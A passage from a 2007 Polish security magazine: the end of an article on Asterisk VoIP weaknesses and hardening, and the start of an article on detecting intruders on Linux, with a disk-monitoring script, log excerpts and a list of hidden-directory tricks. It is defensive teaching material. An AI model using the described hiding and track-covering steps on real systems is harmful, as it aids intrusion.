gdy np. użytkownicy A, B i C należą do
jednej sieci, zaś w chwili, gdy A i B roz-
mawiają, C wykorzystuje swój dostęp
do podsłuchania ich transmisji. Najlep-
szym rozwiązaniem w takiej sytuacji
byłoby wykorzystanie szyfrowania po-
przez wykorzystanie protokołu SRTP,
jednakże – jak wcześniej wspomniano
– w systemie Asterisk te rozwiązania
muszą zyskać jeszcze na stabilności.

Poprawa

bezpieczeństwa

Wdrażając system Asterisk należy, w
celu zapobieżenia omawianym wcze-
śniej zagrożeniom, powziąć kroki mi-
nimalizujące ryzyko ataków. Zauważ-
my, iż bezpieczeństwo systemu Vo-
IP, na którym zainstalowany jest Aste-
risk, może obejmować wiele zagad-
nień, które są w dużym stopniu wyni-
kiem specyfiki instalacji oraz konfigu-
racji każdego z wariantów wdrożenia
systemu Asterisk.

W sieci LAN dobrym rozwiązaniem

jest użycie statycznych tablic ARP tak,
aby uniemożliwić przeprowadzenie
ataku typu ARP Poisoning. Można tak-
że rozważyć użycie sieci VPN, choć
nie rozwiązuje to problemu ataków z
wewnątrz tejże sieci. Należy separo-
wać ruch głosowy od zwykłych danych
(np. poprzez wykorzystanie wirtual-
nych sieci lokalnych – VLAN), co unie-
możliwi intruzom uzyskanie dostępu
do segmentu głosowego z segmentu
danych. Rozwiązanie to jednak niwe-
czy jedną z największych zalet telefonii
VoIP, jaką niewątpliwie jest możliwość
wykorzystania tej samej infrastruktury
do przesyłania danych i głosu.

Aby zmaksymalizować bezpie-

czeństwo dostępu do centrali, zaleca
się wykorzystanie minimalnej konfigu-
racji (system operacyjny + Asterisk),
dzięki czemu możliwe jest wyelimino-
wanie wielu potencjalnych problemów
bezpieczeństwa. Przykładem prostej
konfiguracji systemu, która w znaczny
sposób potrafi poprawić bezpieczeń-
stwo, jest używanie szyfrowania ha-
seł w plikach. Kolejną dobrą praktyką
w zarządzaniu konfiguracją jest nie-
udostępnianie kont innym użytkow-
nikom (jedynie konta administracyj-
ne), jak również wyłączenie wszel-
kich zbędnych wpisów w plikach kon-

figuracyjnych – w tym standardowej
testowej konfiguracji. Istotne jest rów-
nież odpowiednie zarządzanie plat-
formą Asterisk, które nie powinno od-
bywać się przy użyciu zdalnych na-
rzędzi, niewspierających szyfrowane-
go połączenia (SSL / TLS).

Warto również wspomnieć o wy-

korzystaniu ścian ogniowych (firewal-
li
), które dadzą nam możliwość prze-
puszczania tylko wiarygodnych klien-
tów oraz zmiany domyślnych portów.
Należy jednak zauważyć, jak istotnym
problemem przy zabezpieczeniu wy-
korzystywanej przez Asterisk platfor-
my są problemy związane z „przecho-
dzeniem” pakietów przez firewalle oraz
przez mechanizmy translacji adresów
wewnętrznych (np. intranetowych) na
zewnętrzne (np. internetowe), czyli po-
pularnych NAT’ów (ang. Network Ad-
dress Translation
). W takiej sieci z po-
wodu wymienionych przeszkód mo-
że dojść do uniemożliwienia nawiąza-
nia połączenia (z powodu blokowania
pakietów zawierających sygnalizację),
bądź porozumiewania się przez strony
żądające komunikacji (ze względu na
blokowanie pakietów RTP).

Przy zabezpieczaniu naszego sys-

temu Asterisk należy również zwrócić
dużą uwagę na jego stabilność – za-
równo sprzętową jak i aplikacyjną. Sta-
bilność hardware’u najprościej osią-
gnąć zawczasu zabezpieczając się w
zapasowe źródła zasilania, technolo-
gię RAID oraz najróżniejsze części za-
mienne. Pozwoli nam to uniknąć pro-
blemów związanych z przerwą zasila-
nia, utratą danych czy niespodziewa-
nymi awariami jakiegoś z podzespo-
łów. Natomiast by zwiększyć stabil-
ność systemu Asterisk pod kątem apli-
kacyjnym, należy pamiętać o kilku za-
sadach. Po pierwsze, zawsze powinno
się używać najnowszej stabilnej wersji
Asteriska. Po drugie, należy wykorzy-
stywać często używane, sprawdzone
a zarazem stabilne systemy operacyj-
ne (takie jak np. Linux). Po trzecie, ko-
nieczne jest dokładne testowanie po-
prawek nanoszonych na oprogramo-
wanie oraz ostrożne podchodzenie do
dodatkowych modułów do Asteriska.
Warto również trzymać stare wersje
oprogramowania, co ułatwi odzyska-
nie stabilności w razie problemów.

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

Podsumowanie

Analiza oprogramowania centrali IP
PBX – Asterisk wykazała, że jest po-
datna na wiele zagrożeń. Wykorzy-
stanie wskazanych luk prowadzić mo-
że do utraty poufności wykonywanych
przez użytkowników rozmów, w tym
np. ich nagrywania. W najgorszym
przypadku może to zaowocować nad-
użyciem usług transmisji głosu dostar-
czanych przez zewnętrznych dostaw-
ców, a skonfigurowanych na potrzeby
danej instalacji Asteriska.

Podsumowując rozważania na te-

mat poziomu bezpieczeństwa opro-
gramowania Asterisk, należy stwier-
dzić jednoznacznie, iż jest on niewy-
starczający. Każdy rozpatrywany ob-
szar bezpieczeństwa (sygnalizacja,
przesyłanie danych głosowych oraz
środowisko sieciowe) jest potencjalnie
narażony na różnorodne ataki. Co gor-
sza, wiele z nich jest stosunkowo pro-
stych i łatwych do zrealizowania za po-
mocą graficznych, ogólnodostępnych
narzędzi hakerskich. Należy jednak

uczciwie stwierdzić, iż atakom można
również efektywnie zapobiegać wyko-
rzystując powszechnie dostępne dar-
mowe oprogramowanie (jak na przy-
kład OpenVPN czy Stunnel).

Zauważmy, iż wiele ze wskaza-

nych problemów bezpieczeństwa
można rozwiązać dopracowując stan-
dardową konfigurację. Ewolucja Aste-
riska zmierza raczej w kierunku roz-
woju protokołu IAX2. Śmiało moż-
na również oczekiwać, że wraz z po-
jawieniem się nowej wersji protokołu
IAX2 wyposażonej w mechanizm szy-
frowania danych i obecną już łatwość
radzenia sobie z urządzeniami imple-
mentującymi NAT, większość poten-
cjalnych zagrożeń zostanie zminimali-
zowanych. Dziwi jednak niechęć twór-
ców tego oprogramowania do wpro-
wadzania zabezpieczeń dla protoko-
łów zestandaryzowanych, tj. SIP czy
H.323, co mogłoby wydatnie popra-
wić bezpieczeństwo systemu Asterisk
jako bramy zespalającej systemy Vo-
IP bazujące na różnych protokołach

sygnalizacyjnych. W najbliższym cza-
sie nie możemy również spodziewać
się wdrożenia SRTP, które poprawiło-
by bezpieczeństwo przesyłanego gło-
su i danych. Do tego czasu pozosta-
je nam radzić sobie za pomocą wspo-
mnianych w artykule narzędzi, bo na-
wet oczywiste luki w bezpieczeństwie
nie są w stanie zmienić jednoznacz-
nie pozytywnej opinii na temat wa-
lorów użytkowych Asteriska. Należy
również odpowiedzieć na pytanie, ja-
ka jest przyczyna częstego pomijania
kwestii bezpieczeństwa VoIP. Powo-
dów braku dobrych zabezpieczeń w
systemach VoIP można by wymieniać
wiele. Wśród najważniejszych znajdu-
je się chęć minimalizacji dodatkowych
kosztów (brak implementacji mechani-
zmów zabezpieczeń, certyfikatów klu-
cza publicznego itp.), która po części
sprawia, iż telefonia VoIP jest tania,
wpływ mechanizmów zabezpieczeń
na jakość rozmowy i zestawianie po-
łączenia (opóźnienie) oraz niską świa-
domość użytkowników telefonii IP.

Przy każdym wdrożeniu syste-

mu Asterisk należy zatem zastano-
wić się, co będzie dla nas ważniej-
sze – niskie koszty połączeń i wdroże-
nia, czy też w pełni bezpieczny system,
który będziemy mogli zaproponować
użytkownikom. l

O autorach

Autorami są członkowie zespołu Network Security Group (secgroup.pl) na Wydziale Elek-
troniki i Technik Informacyjnych Politechniki Warszawskiej. Kontakt z autorami: tpiotrow-
ski1@gmail.com, s.m.wojcik@gmail.com, wmiko@o2.pl, wmazurcz@elka.pw.edu.pl

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

36

Atak

P

rędzej czy później to nastąpi – nie da się
przed tym uciec – padniesz ofiarą wła-
mania. Jedyną Twoją szansą na ratunek

będzie jak najszybsze wykrycie incydentu i prze-
ciwdziałanie dalszym zniszczeniom powodowa-
nym przez intruza. Twoje działania muszą być
w pełni świadome, a przede wszystkim skutecz-
ne. Będziesz musiał przewidzieć i rozpatrzyć
wszystkie możliwe drogi, jakimi podążać mógł
intruz i zniszczyć na nich wszystkie mosty, tak
aby powrót agresora był niemożliwy, a system
odzyskał pełnię zaufania. Przed jakimikolwiek
próbami wyszukiwania intruza musisz świado-
mie określić, czy zostałeś zaatakowany, a atak
ten zakończył się sukcesem i czy intruz uzyskał
dostęp do Twojej maszyny. W dziedzinie detekcji
intruza, sprawą kluczową jest zrozumienie pod-
stawowych przyczyn ataków, pojęcie logiki ludzi
dokonujących tych ataków oraz przeprowadze-
nie wnikliwego rozpoznania wewnątrzsystemo-
wego. Wszystkie z tych elementów są, wbrew
pozorom, ściśle ze sobą powiązane.

Trwający nieustannie wyścig zbrojeń wy-

szukiwania i opracowywania nowych, sku-
tecznych technik przełamywania zabezpie-
czeń komputerowych oraz metod penetracyj-
nych i stałego ulepszania starych sprawia,

że żaden administrator – zarówno ten świe-
żo upieczony, jak i ten z wieloletnim doświad-
czeniem – nie powinien czuć się bezpiecznie.
Ze względu na szybkość wykrywania nowych
podatności nigdy nie wiadomo, kiedy zostanie
naruszona integralność zarządzanego przez
nas systemu, a im bardziej atrakcyjnym ser-
werem i siecią zarządzamy, tym prawdopodo-
bieństwo złamania zabezpieczeń jest większe.

Atak hakera na Twój

komputer

Bartosz Kalinowski

stopień trudności

Nieważne, jak wiele odbyłeś szkoleń specjalistycznych, nieważne,

jak wiele zainwestowałeś czasu i pracy w zabezpieczenie sieci

komputerowej, nieważne, jak wiele kosztowało Cię to wyrzeczeń.

Musisz mieć świadomość, że rzesze specjalistów wyszukują

oraz testują nowe podatności oprogramowania i systemów,

zwiększając prawdopodobieństwo przeprowadzenia skutecznego

ataku na maszyny znajdujące się pod Twoją opieką.

Z artykułu dowiesz się

• jakie charakterystyczne zachowania systemu

świadczą o obecności intruza,

• jakie ślady zostawiają po sobie włamywacze,
• gdzie szukać tych śladów,
• jak wykryć intruza.

Co powinieneś wiedzieć

• powinieneś znać pojęcia dotyczące systemów

uniksowych oraz Sieci,

• powinieneś znać podstawy bezpieczeństwa

systemów uniksowych i sieci komputerowych,

• powinieneś znać obsługę i konfigurację systemu

Linux na poziomie co najmniej podstawowym.

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

37

Jest kilka ważnych czynników wpły-
wających na ten stan. Do dwóch
głównych, szczególnie w przypadku
dużych firm, należą:

• konkurencja i jej działania,
Black Hats (specjaliści bezpie-

czeństwa, działający typowo w
celu wyrządzenia szkód).

Motywacje konkurencji to działania
związane z wywiadem gospodar-
czym, podsłuchem sieci, przejmo-
waniem klientów, kradzieżą techno-
logii, rozwiązań, danych personal-
nych etc. Black Hats ukierunkowani
są na testowanie nowych metod ata-
ku, kradzież danych oraz zasobów
procesora, podsłuch sieciowy, sze-
roko pojęte ataki social engineering,
tworzenie sieci i komputerów zom-
bie, sprawdzenie własnych umiejęt-
ności, etc.

Wbrew pozorom, administrato-

rzy małych ośrodków komputero-
wych (często zbudowanych z jednej
maszyny serwerowej) także nie mo-
gą zakładać, że potencjalny napast-
nik ich nie zaatakuje, wychodząc z
założenia – bo po co? W tym przy-
padku sprawa może mieć się zupeł-
nie inaczej – znakomita większość
ataków pochodzi od niedoświad-
czonych agresorów, określanych
mianem script kiddie i ze względu
na ograniczony zasób wiedzy oraz
strach przed ewentualnymi konse-
kwencjami często wybierają oni na
cel małe sieci lub tzw. serwery wolno
stojące.
W tym przypadku maszyna
po włamaniu zazwyczaj jest trakto-
wana jako darmowa przestrzeń dys-
kowa w Sieci do przechowywania pli-
ków lub też bardzo często wykorzy-
stywana do dalszych ataków – na
atrakcyjniejsze serwery. Zrozumie-
nie przyczyn ataków jest kluczową
sprawą w detekcji intruza, a oto kil-
ka powodów:

• pozwala wnioskować o włamaniu,
• pozwala wychwycić w ciągu zda-

rzeń systemowych akcje charak-
terystyczne dla obecności wła-
mywacza,

• pozwala rozpoznać zachowania

systemu i sieci, której bezpie-
czeństwo zostało naruszone,

• wskazuje sposoby wyszukiwania

włamywacza,

• umożliwia określenie poziomu za-

awansowania włamywacza, a co
za tym idzie – skali zniszczeń.

Dlaczego mi to robisz?

Chciałbym żebyś zapamiętał, że
wszelkie metody oraz sposoby de-
tekcji, jak i działania, w każdym przy-
padku są bardzo różne. Należy pod-
chodzić do nich indywidualne i nie po-
padać w rutynę. Wszelkie dalej pre-
zentowane w artykule metody doty-
czą konkretnego przypadku, jednak
w rzeczywistości często występu-
ją w analizie innych i stosowane są
jednocześnie. Dlatego też chciałbym,
abyś nie traktował artykułu jako kom-
pendium wiedzy – to Twoja inteligen-
cja odgrywa największą rolę w detek-
cji i przeciwdziałaniu. Nie bój się eks-
perymentować, szukaj, sprawdzaj, te-
stuj – działaj jak detektyw.

Przypadek I – opis

W tym przypadku mamy do czynienia
ze średnio zaawansowanym użyt-
kownikiem. Uzyskał on dostęp do
systemu typowo z naszej winy – nie
zainstalowaliśmy poprawek oprogra-
mowania, w którym ostatnio odkryto
błąd np. przepełnienia bufora.

Intruz A

Agresor tego typu będzie starał się
zachować dostęp do systemu, ale ze
względu na brak wiedzy jego meto-
dy będą mało wyrafinowane. Bardzo
prawdopodobne, że w ramach wy-
miany będzie rozdawał konta shell.
Ten agresor będzie starał się wyko-
rzystać nowo pozyskany serwer do
łamania haseł i przeprowadzania
dalszych ataków. Być może posiada
on sieć komputerów zombie i po uda-
nych atakach (zarówno tych interne-
towych, jak i tych na hasła) dołączy
system do swojego botnetu. Często
po wykorzystaniu serwera na własne
potrzeby, w celu autopromocji intruz
zmienia stronę główną serwera lub
banery usług typu smtp/ftp.

Przypadek II – opis

W przypadku II mamy do czynienia
z intruzami bardziej zaawansowany-

Z dziejów świata

Istotę walki ujmuje Sun Tzu w The Art
Of War
takim oto zdaniem: Cała sztuka
walki bazuje na zwodzeniu przeciwnika.

Sentencja ta dotyczy sztuki wojen-

nej uprawianej tysiące lat temu, a tak-
że sztuki wojennej uprawianej dziś – na
gruncie informatyki. Opisuje ona do-
kładnie działania intruzów, a jednocze-
śnie metody obrony...

Typowy scenariusz włamania

Krok 1. Rozpoznanie zewnętrzne – intruz poddaje atakowaną maszynę serii testów
bezpieczeństwa. Stosuje w tym celu różnorodne narzędzia np. nmap, nessus, trace-
route, whois, dig, telnet etc.
Krok 2. Rozpoznanie szczegółowe – po odkryciu luk agresor poddaje je dokładnym te-
stom. Etap zindywidualizowany ze względu na wykryte podatności.
Krok 3. Atak – włamywacz stosując różnego rodzaju narzędzia przeprowadza atak, co
może skończyć się naruszeniem integralności danych i uzyskaniem dostępu do kon-
ta root atakowanej maszyny.
Krok 4. Zacieranie śladów – intruz stara się ukryć wszelkie metody swojego działa-
nia oraz ślady obecności. Stara się także zapewnić sobie możliwość ponownego, bar-
dziej bezpiecznego zalogowania do systemu i poszerzenia praw do poziomu użytkow-
nika root.
Krok 5. Czerpanie zysków – włamywacz rozpoczyna działania przeciwko naszej ma-
szynie, użytkownikom lub innym komputerom w sieci oraz wykorzystuje serwer w in-
nych celach własnych.
Krok 6. Dowód – po wykorzystaniu maszyny intruz zostawia widoczne ślady dla admi-
nistratora lub innych użytkowników świadczące o przejęciu kontroli nad serwerem.
Najwięcej śladów intruz zostawia w trakcie wykonywania kroków 1,3 i 5. Warto o tym
pamiętać i pod tym kątem poszukiwać tropów.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

38

mi – metody stosowane przez nich są
trudniejsze do wykrycia i znacznie bar-
dziej skomplikowane. Dostęp do sys-
temu przez tych użytkowników został
osiągnięty poprzez wykorzystanie nie-
opublikowanych błędów oprogramo-
wania lub za pomocą błędów wyko-
rzystywanych przez exploity 0-day.

Intruz B

Agresor ten został zatrudniony przez
firmę konkurencyjną w celu przepro-
wadzenia działań wywiadowczych
wymierzonych w interesy firmy, której
siecią zarządzamy. Jego priorytetem
będzie uzyskanie jak największej ilo-
ści informacji – aby to osiągnąć, musi
pozostawać niezauważalny dla admi-
nistratora oraz użytkowników. Będzie
unikał wszelkich działań, które mogło-
by destabilizować system oraz powo-
dować opóźnienia w pracy. Ważnym
elementem działań napastnika będzie
zapewnienie sobie dostępu do syste-
mu w późniejszym czasie – prawdopo-
dobnie zastosuje w tym celu zaawan-
sowane narzędzia, być może niedo-
stępne publicznie. Często zdarza się,
że tacy intruzi prócz wykonywania zle-
cenia, korzystając z okazji wykorzy-
stują opanowany system do własnych
celów – przeprowadzenia dalszych
ataków, masowej kradzieży danych,
w celu przeprowadzenia ataków pod-
szywania, przejmowania sesji i phi-
shingu wymierzonych w znaczną ilość
użytkowników Internetu. Są to typowe
działania mające przynieść korzyści,
przeważnie finansowe – dlatego intru-
zowi będzie zależało na jak najdłuż-
szym wykorzystywaniu maszyny.

Inne

Musimy mieć świadomość, że uak-
tualnianie oprogramowania powinno
być wpisane w nasz codzienny plan
dnia. Przede wszystkim ze wzglę-
dów bezpieczeństwa – zmniejsza ry-
zyko włamania, poza tym administra-
tor ma do czynienia z serwerem na
bieżąco – widzi co się dzieje, jak wy-
gląda praca, w jaki sposób wykorzy-
stywane są zasoby systemowe. Jest
to kluczowa sprawa przy późniejszej
awarii (np. włamaniu) – administra-
tor jest już obeznany z swoim syste-
mem i wie, jak on funkcjonuje w wa-

runkach normalnych, a jak po wła-
maniu. Jest w stanie odkryć znacz-
nie więcej śladów pozostawionych

przez intruza i szybciej przywró-
cić sprawność dla systemu. Bardzo
ważną sprawą przy detekcji intru-

Po czym poznać, że dokonano włamania?

• nagły wzrost obciążenia Sieci,
• nagły wzrost zużycia procesora,
• nagłe zmniejszenie ilości wolnej pamięci operacyjnej,
• nagłe zmniejszenie ilości wolnej pamięci dyskowej,
• karty sieciowe ustawione w tryb nasłuchu,
• usunięte lub zmienione pliki protokołowania,
• zmienione/usunięte pliki utmp/wtmp/btmp (dzienniki logowań do systemu),
• nowi użytkownicy w systemie o nazwach zbliżonych do standardowych,
• uruchomione obce procesy lub procesy o nazwach zbliżonych do standardowych,
• wszelkie pliki i katalogi o ukrytych nazwach,
• zmieniony baner usług takich jak smtp/ftp etc.,
• zmieniona strona główna serwera,
• zmodyfikowane pliki wykonywalne typu ls/netstat etc.,
• wszelkie dziwne zachowania systemu i Sieci mogą świadczyć o nie do końca po-

żądanym gościu...

Listing 1.

Skrypt wykorzystany do logowania zajętości dysku

#!/bin/bash

x

=

0

;

until

[

$

x

-

ge

2880

];

do

x

=

$

[

x

+

1

]

echo

--------------[

Zalogowano

:-------

`

date

+%

D

+[%

T

]

`

-----------------

>>

test

-

hdd

.

log

who

-

l

>>

test

-

hdd

.

log

echo

>>

test

-

hdd

.

log

echo

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>>

test

-

hdd

.

log

w

-

h

-

f

>>

test

-

hdd

.

log

echo

>>

test

-

hdd

.

log

echo

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>>

test

-

hdd

.

log

df

-

h

>>

test

-

hdd

.

log

echo

>>

test

-

hdd

.

log

echo

--------------[

Zalogowano

:-------

`

date

+%

D

+[%

T

]

`

-----------------

>>

test

-

ps

.

log

echo

>>

test

-

ps

.

log

ps

ua

>>

test

-

ps

.

log

echo

>>

test

-

ps

.

log

sleep

30

s

done

Listing 2.

Fragment danych z pliku logów

--------------[

Zalogowano

:-------

07

/

11

/

07

+[

20

:

46

:

00

]-----------------

...

Filesystem

Size

Used

Avail

Use

%

Mounted

on

/

dev

/

hda1

26

G

14

G

11

G

57

%

/

...

--------------[

Zalogowano

:-------

07

/

11

/

07

+[

20

:

53

:

31

]-----------------

...

/

dev

/

hda1

26

G

14

G

11

G

58

%

/

...

--------------[

Zalogowano

:-------

07

/

11

/

07

+[

21

:

02

:

04

]-----------------

...

/

dev

/

hda1

26

G

15

G

9

,8

G

60

%

/

...

--------------[

Zalogowano

:-------

07

/

11

/

07

+[

21

:

05

:

35

]-----------------

...

/

dev

/

hda1

26

G

14

G

11

G

57

%

/

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

39

za jest także obserwacja typowych
grup dyskusyjnych dotyczących bez-
pieczeństwa – bugtraq (http://www.
securityfocus.com/archive/1)
, vulne-
rabilities (http://www.securityfocus.
com/vulnerabilities)
etc. Obserwacja
ta pozwala nam poszukiwać charak-
terystycznych zapisów w logach sys-
temowych, które mogą być powodo-
wane próbami wykorzystania świe-
żo odkrytych podatności – gdy intruz
ma 6 godzin na działanie, wyrządzi
znacznie mniej szkód niż gdyby miał
tego czasu 60 godzin... Im szybciej
zadziałamy, tym lepiej.

Przypadek I

– działania operacyjne

Przypadek pierwszy opisujący dzia-
łania operacyjne.

Intruz A

Użytkując system w sposób całkowi-
cie normalny, przy stałym ruchu sieci,
zauważamy pewne anomalie – sys-
tem momentami przestaje odpowia-
dać, po czym bardzo wolno pracuje
– wskazuje zajętość pamięci swap po-
mimo wystarczająco dużej ilości pa-
mięci RAM. W czym leży problem...?
Prawdopodobnie w intensywnej pra-
cy dysków twardych. Przed przystą-
pieniem do poszukiwań śladów nale-
ży koniecznie wyłączyć wszelkie usłu-
gi sieciowe. Najlepiej uczynić to wyci-
nając cały ruch zewnętrzny, przycho-
dzący – stosując np. iptables. Zatem
do dzieła. Po pierwsze sprawdzamy,

Listing 3.

Ważne dane z pliku messages oraz syslog

[

root

@

proxima

:

/

var

/

log

]

# cat syslog|grep sshd|grep error

Jul

11

00

:

47

:

13

proxima

sshd

[

9758

]:

error

:

Could

not

get

shadow

information

for

NOUSER

Jul

11

00

:

47

:

42

proxima

sshd

[

11266

]:

error

:

Could

not

get

shadow

information

for

NOUSER

[

root

@

proxima

:

/

var

/

log

]

# cat messages|grep in.identd|grep ERROR

Jul

11

00

:

47

:

00

proxima

in

.

identd

[

7981

]:

reply

to

201.98

.

XX

.

XX

:

0

,

0

:

ERROR

:

INVALID

-

PORT

Jul

11

00

:

47

:

05

proxima

in

.

identd

[

7981

]:

reply

to

201.98

.

XX

.

XX

:

0

,

0

:

ERROR

:

UNKNOWN

-

ERROR

Jul

11

00

:

47

:

07

proxima

in

.

identd

[

7981

]:

reply

to

201.98

.

XX

.

XX

:

8118

,

51236

:

USERID

:

OTHER

:

100

Jul

11

00

:

47

:

07

proxima

in

.

identd

[

7981

]:

reply

to

201.98

.

XX

.

XX

:

6000

,

47236

:

USERID

:

OTHER

:

0

Jul

11

00

:

47

:

10

proxima

in

.

identd

[

7981

]:

reply

to

201.98

.

XX

.

XX

:

22

,

33395

:

ERROR

:

UNKNOWN

-

ERROR

[

root

@

proxima

:

/

var

/

log

]

#

cat

messages

|

grep

sshd

|

grep

Jul

|

grep

00

:

47

Jul

11

00

:

47

:

13

proxima

sshd

[

9758

]:

Invalid

user

n3ssus

from

201.98

.

XX

.

XX

Jul

11

00

:

47

:

13

proxima

sshd

[

9758

]:

Failed

none

for

invalid

user

n3ssus

from

201.98

.

XX

.

XX

port

34171

ssh2

Jul

11

00

:

47

:

13

proxima

sshd

[

9758

]:

Failed

password

for

invalid

user

n3ssus

from

201.98

.

XX

.

XX

port

34171

ssh2

Jul

11

00

:

47

:

42

proxima

sshd

[

11264

]:

Failed

password

for

root

from

201.98

.

XX

.

XX

port

36275

ssh2

Jul

11

00

:

47

:

42

proxima

sshd

[

11273

]:

Failed

password

for

bin

from

201.98

.

XX

.

XX

port

36283

ssh2

Jul

11

00

:

47

:

43

proxima

sshd

[

11292

]:

Protocol

major

versions

differ

for

201.98

.

XX

.

XX

:

SSH

-

1.99

-

OpenSSH_4

.6

vs

.

SSH

-

9.9

-

NessusSSH_1

.0

Jul

11

00

:

47

:

43

proxima

sshd

[

11287

]:

Invalid

user

guest

from

201.98

.

XX

.

XX

Rysunek 1.

Okno raportu programu nessus

Niejedna droga prowadzi do...

Musisz zrozumieć, że zarówno atak, jak i późniejsze działania intruza w systemie za
każdym razem wyglądają zupełnie inaczej. Nawet jedna osoba nie przeprowadza
dwóch ataków w sposób identyczny – związane jest to z wieloma czynnikami, od ta-
kiego najbardziej ludzkiego – pamięci, do typowo technicznych przyczyn związanych z
zanikami prądu, różnymi sposobami działania sieci, niepowtarzalną pracą komputera
zarówno intruza, jak i obiektu ataku oraz szeregiem innych powodów. Dlatego też nie
istnieje jeden przepis na wykrywanie intruza – jedynie pewne sposoby i ścieżki który-
mi będziesz musiał podążać, by rozwijać swą wiedzę.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

40

co powoduje takie wahania pracy pro-
cesora, pamięci i dysku – z doświad-
czenia wiem, że podobne efekty daje
zapis dużych plików na dysku. Warto
zatem sprawdzić, czy nikt nie zapisu-
je czegoś ponad normę na dysku. Być
może są jakieś specjalne, wyrafino-
wane sposoby – my zastosujemy na-
tomiast metodę bardzo prostą: napi-
szemy króciutki program, który będzie
logował wyniki poleceń df, w* oraz ps
co 30 sekund przez 24 godziny, acz-
kolwiek często około godzina pracy
wystarcza aby dostrzec dziwną pra-
cę dysków.

Po uruchomieniu skryptu i analizie

danych zwróconych nam przez system
jesteśmy w stanie zauważyć, iż – nie li-
cząc zmian spowodowanych przez le-
galnych użytkowników – między go-
dziną 20:46 a 21:06 na dysku pojawi-
ło nam się nagle około 1GB danych po
czym równie nagle znikło. Jest to bar-
dzo typowe zachowanie – włamywacz
prawdopodobnie umieścił na dysku
dane wykorzystywane do innych ata-
ków lub pochodzące z ataku, a w celu
podniesienia swojego bezpieczeństwa
wykorzystał nasz komputer jako po-
średnika – być może planuje całkowite
usunięcie danych z naszego dysku ja-
ko skuteczną metodę ochrony?

Dlaczego to działanie zwróci-

ło moją uwagę? Z prostej przyczy-
ny, komputer działa tylko i wyłącz-
nie jako serwer http, a standardo-
wy ruch na dysku zazwyczaj oscy-
lował w granicach 200MB/godzinę
po założeniu konta dla nowego użyt-
kownika, w innych wypadkach oko-
ło 40MB/godzinę. Mając pewność,
że ktoś korzysta z naszego syste-
mu, warto sprawdzić, czy nie zosta-

ły zmodyfikowane ważniejsze pliki
konfiguracyjne (zakładam, że czytel-
nik wykonuje kopie zapasowe waż-
nych danych i plików). Chciałbym za-
uważyć w tym miejscu, że w dalszej
części artykułu nie zakładam, że ja-
kiekolwiek przydatne informacje bez-
pośrednio wskazujące na obecność
intruza (zalogowanie do systemu na
konto root, zalogowanie do syste-
mu na konto nowego użytkownika z
prawami roota) pozostały w plikach
systemowych typu utmp/wtmp/btmp/
lastlog, gdyż w każdym artykule un-
dergroundowym poruszane są tema-
ty dotyczące czyszczenia tych pli-
ków. Jedynie fakt, iż zostały one mo-
dyfikowane, może potwierdzać obec-
ność niepożądanych osób w naszym
systemie, ale dotyczy to tylko intru-
zów z małym zasobem wiedzy, gdyż
osoby zaawansowane są w stanie
tak ukryć swoją obecność, aby nikt
nie podejrzewał włamania. Pomimo
to często zdarza się, że intruz zna-
komicie ukrył swoją obecność w sys-
temie, lecz zostawił także dużą ilość
śladów pochodzących z okresu bez-
pośrednio poprzedzającego atak
(krok 1 działań napastnika). Z te-
go powodu poddajemy analizie pliki
/var/log/messages
i syslog.

Po analizie plików dziennika syste-

mowego mamy już pewność, że dnia
11 lipca od godziny około 00:30 intruz
rozpoczął atak polegający na rozpo-
znaniu naszego systemu. W tym celu
wykorzystał oprogramowanie nessus
z serwerem znajdującym się na kom-
puterze o adresie IP 201.98.XX.XX.
Wychodząc z założenia, że należy
wiedzieć jak najwięcej o ataku, pro-
ponuję wykonanie testu za pomocą

tego samego oprogramowania z któ-
rego korzystał intruz (nessus dostęp-
ny na stronie nessus.org) – da nam to
obraz systemu, z jakim zapoznał się
włamywacz przed włamaniem i w je-
go początkowej fazie. Być może wpły-
nęło to w jakiś sposób na jego decyzje
i działania. Ważnym także śladem jest
adres IP równy 201.98.XX.XX – być
może jest to adres komputera, z któ-
rego nastąpił atak. Warto go zacho-

Listing 4.

Wyniki poleceń last*

[

root

@

proxima

:

/

home

/

art

]

# lastlog

Username

Port

From

Latest

root

tty1

czw

lip

5

22

:

30

:

56

+

0200

2007

bin

**

Never

logged

in

**

....

nobody

**

Never

logged

in

**

art

tty1

ś

ro

czer

6

12

:

04

:

39

+

0200

2007

[

root

@

proxima

:

/

home

/

octiv

]

# last|grep art|wc -l

36

[

root

@

proxima

:

/

home

/

art

]

# last

...

wtmp

begins

Thu

Jan

18

14

:

48

:

15

2007

Ukryte nazwy

Często stosowaną metodą ukrywania
katalogów jest nadawanie im ukrytych
nazw, oto typowe przykłady:

(we wszystkich katalogach / ):

• ”. ”
• ” .”
• ” ”
• ”.. ”
• ” ..”
• ”...”
• ”... ”
• ” ...”

Typowymi miejscami ukrywania folde-
rów są katalogi:

• /dev
• /etc
• /usr/local/etc
• /boot
• /lib
• /tmp

Krok po kroku

• analiza plików dziennika,
• analiza użytkowników i grup,
• analiza niepoprawnej przynależno-

ści grupowej,

• analiza praw dostępu do plików,
• analiza najważniejszych plików

systemowych,

• analiza procesów systemowych,
• analiza usług uruchamianych przez

cron i at,

• poszukiwanie i analiza plików z bi-

tem suid/sgid,

• analiza konfiguracji sieci i ruchu

sieciowego,

• analiza usług sieciowych,
• poszukiwanie ukrytych plików i ka-

talogów,

• analiza polityki bezpieczeństwa

firewalla.

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

41

wać, gdyż może znacznie pomóc w
poszukiwaniu innych śladów – mamy
pewien punkt odniesienia.

Następnym krokiem będzie ana-

liza konfiguracji serwera. Wykonując
serie porównań (oczywiście można
tę czynność zautomatyzować skryp-
tami konsolowymi, do czego zachę-
cam) odkryłem modyfikację pliku sha-
dow.
Spowodowane to może być fak-
tem zmiany hasła przez użytkownika
lub zmianą hasła wykonaną przez in-
truza w celu posiadania legalnego do-
stępu do serwera. Mając nowy obiekt
zainteresowania, należy zbadać, czy
ktoś logował się w ostatnim czasie
na dane konto w celu zmiany hasła,
oraz jak często logował się do tej po-
ry i na podstawie tych danych osza-
